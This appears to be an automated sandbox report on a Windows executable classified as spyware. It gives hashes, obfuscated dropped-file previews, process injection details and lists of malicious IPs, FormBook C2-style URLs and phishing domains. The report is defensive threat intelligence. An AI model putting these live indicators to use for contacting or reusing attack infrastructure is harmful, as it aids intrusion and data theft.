Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QLLafoDdqv.exe renamed because original name is a hash value
Original Sample Name:	16a3ae414f6303383d089b24318edcedb5891f081108035ee2017c3a61ab0012.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@18/14
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 91% Number of executed functions: 50 Number of non-executed functions: 283
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:51:14	API Interceptor	11427540x Sleep call for process: netbtugc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.195.240.94	bum2sl4tSW66Q5O.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.seancollinsmusic.com/ps15/?t8o4=IiUdWomF5k9qaWufAEOF1gY9kHVftwkJ6cV9tSoeDtYAHjCeVDLi568qZcu0mi0k9Trm&jPj8q=pFQLwhtH0
	5.exe	Get hash	malicious	FormBook	Browse	www.nadiiadrinkscoffee.com/ge34/?Hp=X6AHZfrXbRHH7xE&pP=DtaDJi3z2nipX4nJS/IcJCcbDk/4k1gE0+TxNtH8tFZPjGhx/2qD/OBkCIHBCYb1eipf
	factura.exe	Get hash	malicious	FormBook	Browse	www.ssgame56c.org/qpcj/?IVD=vTEpW4TmB&PCKydxRp=hXmtMExE2v9HEeiW+ulHLkzTySI3TL5baDMJUDroKowqF3JNdygLwqeM0chXN5g2/8j8rpp6Ovu5nc6C/eq8J6bvYVTB8B/ZOQ8YY77+xTTm
	Document TOP19928.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
	wOoESPII08.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/?xVY=x3jV/ECx7FuzXOI5niBKCyXhuUkTi7THyCIVaqWvGMMqpfz0YC5wLsL1wYxwFH1KuInYTmXKqKNNujOvwtdN4JwRnXK0Z16Z0RVxT0NpaHfOGkEn8Q==&Nz=LPhpDRap3
	opp46lGmxd.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
	mzrHGroQZy.hta	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
	j5Gx6UXYOm.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
	5fG4r07BPy.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
	eGHWPCyhLI.exe	Get hash	malicious	FormBook	Browse	www.rssnewscast.com/fo8o/
15.197.240.20	LF2024022.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.johnasian.com/jn17/?AjFxkn=AUopA6EtHNKAXsGcnergFbbGiEMiDoIvdiVznSugjPZqqO5N3A9xjJjKmrW26oeiLAOH&Yxl0T=CPqtRfop
	UAyH98ukuA.exe	Get hash	malicious	FormBook	Browse	www.id91920.com/fs83/?K6kd=8lIozjCqSLfPDorgIcX1ftJlpRSaTueiBgmxgg5HldscziyRpsyXpMHH8F7QpJEOuhLDcFmkzQ==&uTrL=_bj8lfEpU
	240330_unpacked	Get hash	malicious	Unknown	Browse	pimphattana.com/
52.25.92.0	0yt33vmRtD.exe	Get hash	malicious	FormBook Neshta	Browse	www.rnerfrfw5z3ki.net/b6a4/?n4kHS=A454S8wp36rH&2dL8=855Z9vQ7KQBH7oBfYdONeB9yi8X3cSgRKy0xE8QF2gCXapWwl6B6GqyWE2Zu86OSM4IC
	tgamf4XuLa.exe	Get hash	malicious	FormBook	Browse	www.cherrybunk.life/vuja/?SrK0m=8pbLu8l0SV1lo&a6PLdH6=xxaskX4zCBVE3yBbpvO7oTQxeCyuhPQrJ3bXakBVisDWUfPX6szXkiX7lnBBy6F9sRNz
	MPTsTltrWeIcZA6.exe	Get hash	malicious	FormBook	Browse	www.cramp99039.com/p90g/?z8Ot4=BQK+uzRXfeoKHAmncS2k8OhUXVZO9n/JmDrsHgUuptWL9V6x8DaM5zkP6DGZ1NXNs3fF&oVwPK=EpHT8DAPUNoD_h

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
natroredirect.natrocdn.com	6ddrUd6iQo.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Enquiry24-789.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	SOA.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	draft Proforma Invoice.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Purchase Order 2.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	A.W.B.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	TT Application copy.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	PO 1024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	SecuriteInfo.com.Win32.PWSX-gen.18110.20008.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	nK1Y86mbzfbkwpB.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	85.159.66.93
www.kasegitai.tokyo	Document TOP19928.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	wOoESPII08.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	opp46lGmxd.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	mzrHGroQZy.hta	Get hash	malicious	FormBook	Browse	202.172.28.202
	j5Gx6UXYOm.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	5fG4r07BPy.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	eGHWPCyhLI.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	Z1glGeDwjL.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	9KBARIRa8X.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	N2sgk6jMa2.exe	Get hash	malicious	FormBook	Browse	202.172.28.202

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TANDEMUS	https://www.globalepic.co.kr/view.php?ud=202408011057515744edd3030223_29	Get hash	malicious	Unknown	Browse	15.197.193.217
	http://telstra-103141.weeblysite.com/	Get hash	malicious	Unknown	Browse	15.197.193.217
	http://telstra-107250.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	15.197.193.217
	http://telstra-108674.weeblysite.com/	Get hash	malicious	Unknown	Browse	15.197.193.217
	http://att-yahoo-103994.weeblysite.com/	Get hash	malicious	Unknown	Browse	15.197.193.217
	http://home-101446.weeblysite.com/	Get hash	malicious	Unknown	Browse	15.197.193.217
	http://telstra-104348.weeblysite.com/	Get hash	malicious	Unknown	Browse	15.197.193.217
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	15.197.130.221
	https://worker-muddy-mud-21e4.jm-database.workers.dev/account/create?.intl=us&.lang=en-us&sr	Get hash	malicious	HTMLPhisher	Browse	15.197.193.217
	http://onlineloginportal.com	Get hash	malicious	Unknown	Browse	15.197.193.217
AMAZON-02US	Uw0VH7yLVB.elf	Get hash	malicious	Mirai	Browse	13.49.131.155
	https://kplparis.freshdesk.com/en/support/solutions/articles/154000170570-facture-n-%C2%BA-fc-2024-013	Get hash	malicious	Unknown	Browse	52.216.219.8
	rOhEtfiB9i.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	54.94.188.187
	Comprovativo_Julho_sa_12-07-2024_38.vbs	Get hash	malicious	Unknown	Browse	52.219.232.162
	pxkt5csAI0.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	54.171.230.55
	3AV1PyEQ16.elf	Get hash	malicious	Unknown	Browse	44.241.220.36
	XtkUbewN09.elf	Get hash	malicious	Mirai, Moobot	Browse	52.29.59.141
	https://markeertrafficservicebv6t3etwyghdsbn.dorik.io/	Get hash	malicious	Unknown	Browse	3.131.225.83
	https://forms.office.com/e/0Z5hR0x9HM	Get hash	malicious	Unknown	Browse	108.138.26.11
	https://workdrive.zohopublic.eu/file/1n0t05e999a7f921c44b69aef1f2423b63f55	Get hash	malicious	Unknown	Browse	18.245.31.24
SEDO-ASDE	#U0417#U0410#U041a#U0410#U0417 #U041d#U0410 #U041f#U041e#U041a#U0423#U041f#U041a#U0423.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Wquyc7Qwqh.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	http://boovefunding.today	Get hash	malicious	Unknown	Browse	91.195.240.19
	r777528623004-FedEx-Shipping-Label.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	#U0633#U0641#U0627#U0631#U0634 #U062e#U0631#U06cc#U062f #U062c#U062f#U06cc#U062f.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	#U0646#U0645#U0648#U0646#U0647 #U0647#U0627.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	LisectAVT_2403002A_87.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	LisectAVT_2403002B_309.exe	Get hash	malicious	Bdaejec, FormBook	Browse	91.195.240.19
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	91.195.240.19

Process:	C:\Windows\SysWOW64\netbtugc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut1BE0.tmp

Download File

Process:	C:\Users\user\Desktop\QLLafoDdqv.exe
File Type:	data
Category:	dropped
Size (bytes):	270848
Entropy (8bit):	7.993405556885437
Encrypted:	true
SSDEEP:	6144:8mp6/mWhgpoCnXGEAZQRbnavaBPjaKDb9yKueJW4:8mpgnhgfGlobnavkPjDt
MD5:	3A65F7BF1710AD9A746D1BDF4A8D704A
SHA1:	A861C26090AA755712061A001CCFA90FE7A80B87
SHA-256:	C8B12447F6D3A523E36A52D3C35DDB849011B5076C0CBE690EF3AB28A189A660
SHA-512:	5AE564DB8BAF2078F6A72EF8109291A21DA1CC45CA39E57FE45776AA45031C2F23AFEF006F2E09DE708E4ACB5A0079CDD462DDA9155A08BCF7872DABE3EA574E
Malicious:	false
Reputation:	low
Preview:	..p..PL0T..K....l.0W..jH=...L0TMUABK5I8PL0TMUABK5I8PL0TMUA.K5I6O.>T.\.c.4..q.X=>u10$R;Y=lS5#;.6kW,."9^t$;a..fiU?(Uz@XKfK5I8PL0-L\..+R..0+.i-2.X..0+.N...~+R."...h-2.."V!.0+.TMUABK5Ih.L0.LTA.#..8PL0TMUA.K7H3QG0T]QABK5I8PL0.XUAB[5I8pH0TM.AB[5I8RL0RMUABK5I>PL0TMUABk1I8RL0TMUA@Ku.8P\0T]UABK%I8@L0TMUARK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUAl?P1LPL0.BQAB[5I8@H0T]UABK5I8PL0TMUAbK5)8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I

C:\Users\user\AppData\Local\Temp\aut1C2F.tmp

Download File

Process:	C:\Users\user\Desktop\QLLafoDdqv.exe
File Type:	data
Category:	dropped
Size (bytes):	9750
Entropy (8bit):	7.642449326057744
Encrypted:	false
SSDEEP:	192:Z6E+bT+X/8ER7PVz6sNiDrFdZMecXWHLy7DdWtb/ZmuYQX:Z6dwXRhNiHBy7Di7ZnY2
MD5:	85697B3DDA09976C8FD29C7A3C3EE6C7
SHA1:	D474B724CE1DF2C4D258C6B4388BD5B7C748FB9F
SHA-256:	721EE4A1A6F496509654620BFFEE1C82C824CE9CA9EDBC89161915B63E94A8DE
SHA-512:	32EC2912548C332B5602B5DB0B52761B706575185613546056390C0122F2633FE47B405FB448974860200515BB47820553F70F43886A3F36E370DD7D7C71365C
Malicious:	false
Reputation:	low
Preview:	EA06..p........f..-.k5.g5.......ue..l....g9...y..oe.Ng..]....I...K........\|.@.o..e.Nl......;.M...<..g.`........5.Z..q<..6.p.o.r..Y......g.<.M..`..Y....N...y.........<.M. ...r.'s....c ....Ad.H.....0.F.3<..Z..6...<.f....&....x..p....Bx.....Y'@0.N,.;,.t...Y.5_..n..... 5_..v.U...5_....U....5_..f.U..&.5\..>3@..N@^.d.Z..q9.z..u9......@.........G.@/Z..g......jx....t.u....$.../.u;...g@G_T.......>_.......zq8..........P..................`.M..`... ...f...@..@.'.7..@{>K,..c..,.p..Yg ._..v....A.>K(#G.e..3\|vi..G.7...8_..qf..i\|vi....f.h.,.@......5..:..-3{M....6`;..;..'.`.L..6...f..+0.ff.Y...9.......f.`.E...Y....3.y............vy.....`.....2p....<d....,vh...$......!+0.'&.....,fu5.Y..Y......r.5.X...c3.<.ki.Y.!...Gf.....,f.<.N. . .#:.....c.`........v.h.s.....,vl...,..t......40.....f.........4..@.6.-..p..S.E..5...S`.N...;8.`..<.......q;.....c....Z&..wx.....vr........E......y6....p.c3.=..7..b.!....F ...B5f...........vt......fvk=.x...B3......;;.X...d....8........g`...Mg..D..f...

C:\Users\user\AppData\Local\Temp\exhilaratingly

Download File

Process:	C:\Users\user\Desktop\QLLafoDdqv.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.5800014050641975
Encrypted:	false
SSDEEP:	768:JxBr6ScFCo3T3iC+vt63YntRUu+nZ+nskm/Wsl2HzpmL5sCWi:Zr6ScFCo3T3i3vt63YntRUu+nZ+nskm9
MD5:	B9B2D0603A8B163CA997D551FB01BAE8
SHA1:	8083CA0BF1CE3E9A477B58A3927CDA2240DA6177
SHA-256:	66EE8EE4109C4CEFA994748F2AC8BB2057E4FED3947216FB33C7A65B014E884E
SHA-512:	F182362C40A0E0672C4C013A9E1D89E3BA033D44FDC25EEA77D2E6E972230A04F1977CA631F6151D6AE0A50012EB1C9010AD3F501F042E108F5B40673291F7CC
Malicious:	false
Reputation:	low
Preview:	3{88;ehf;4hfff353333898:e;9e33333399;<78;7e<9833333399;<7g;9ed:533333399;<88;;e;9h33333399;<78;de<9833333399;<7g;fed9f33333399;<88;he;6633333399;<78<3e<6533333399;<7g<5ed5h33333399;<88<7e;9733333399;<78<9e<9f33333399;<7g<;ed9f33333399;<88<d66f399;<78<fe<9h33333399;<;g77iiiiiied:733333399;<<879iiiiiie;9733333399;<;87;iiiiiie<9f33333399;<;g7diiiiiied9f33333399;<<87fiiiiiie;5h33333399;<;87hiiiiiie<9733333399;<;g83iiiiiied9f33333399;<<885iiiiiie;9f33333399;<;887iiiiii66f<99;<;g89iiiiiied:833333399;<88g3e;:633333399;<78g5e<9833333399;<7gg7ed:533333399;<88g9e;6633333399;<78g;e<6533333399;<7ggded5h33333399;<88gfe;9733333399;<78ghe<9f33333399;<7gh3ed9f33333399;<88h566f399;<78h7e<9433333399;<;g9;iiiiiied9733333399;<<89diiiiiie;:933333399;<;89fiiiiiie<9433333399;<;g9hiiiiiied:333333399;<<8:3iiiiiie;9<33333399;<;8:5iiiiiie<6633333399;<;g:7iiiiiied6533333399;<<8:9iiiiiie;5h33333399;<;8:;iiiiiie<9733333399;<;g:diiiiiied9f33333399;<<8:fiiiiiie;9f33333399;<;8:hiiiiii66f<99;<7g;3ed:633333399;<88d3e;9;

C:\Users\user\AppData\Local\Temp\maneuverability

Download File

Process:	C:\Users\user\Desktop\QLLafoDdqv.exe
File Type:	data
Category:	dropped
Size (bytes):	270848
Entropy (8bit):	7.993405556885437
Encrypted:	true
SSDEEP:	6144:8mp6/mWhgpoCnXGEAZQRbnavaBPjaKDb9yKueJW4:8mpgnhgfGlobnavkPjDt
MD5:	3A65F7BF1710AD9A746D1BDF4A8D704A
SHA1:	A861C26090AA755712061A001CCFA90FE7A80B87
SHA-256:	C8B12447F6D3A523E36A52D3C35DDB849011B5076C0CBE690EF3AB28A189A660
SHA-512:	5AE564DB8BAF2078F6A72EF8109291A21DA1CC45CA39E57FE45776AA45031C2F23AFEF006F2E09DE708E4ACB5A0079CDD462DDA9155A08BCF7872DABE3EA574E
Malicious:	false
Reputation:	low
Preview:	..p..PL0T..K....l.0W..jH=...L0TMUABK5I8PL0TMUABK5I8PL0TMUA.K5I6O.>T.\.c.4..q.X=>u10$R;Y=lS5#;.6kW,."9^t$;a..fiU?(Uz@XKfK5I8PL0-L\..+R..0+.i-2.X..0+.N...~+R."...h-2.."V!.0+.TMUABK5Ih.L0.LTA.#..8PL0TMUA.K7H3QG0T]QABK5I8PL0.XUAB[5I8pH0TM.AB[5I8RL0RMUABK5I>PL0TMUABk1I8RL0TMUA@Ku.8P\0T]UABK%I8@L0TMUARK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUAl?P1LPL0.BQAB[5I8@H0T]UABK5I8PL0TMUAbK5)8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I8PL0TMUABK5I

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.112429813049341
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QLLafoDdqv.exe
File size:	1'229'824 bytes
MD5:	9f295f94dfaf4a72ef4aaa28e15543f5
SHA1:	5708ab5bfabaa81d29709fabdd08aa8ba5891d47
SHA256:	16a3ae414f6303383d089b24318edcedb5891f081108035ee2017c3a61ab0012
SHA512:	fc35c5de062664fe3733558d05e58ff3c5312c6fcee7c8aa7e6a32fb89de8f7b69993aff82aaa3f72fec305e4d7b1d1c70e8cf30cd0bc4b5dd758b3cca5df824
SSDEEP:	24576:NqDEvCTbMWu7rQYlBQcBiT6rprG8aSufeTei97aii:NTvC/MTQYxsWR7aSufeai
TLSH:	4845C00273C1D062FF9B91334F5AF61157BC69260123AA2F13A81DB9BE705B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A39B3B [Fri Jul 26 12:48:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007FC2F4E86973h
jmp 00007FC2F4E8627Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FC2F4E8645Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FC2F4E8642Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007FC2F4E8901Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007FC2F4E89068h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007FC2F4E89051h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x55864	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12a000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x55864	0x55a00	c041339bd03a849e09dc3f88a9a09434	False	0.922764598540146	data	7.8846075295122855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x12a000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0x4cb2a	data			1.000337414134469
RT_GROUP_ICON	0x1292e4	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x12935c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x129370	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x129384	0x14	data	English	Great Britain	1.25
RT_VERSION	0x129398	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x129474	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
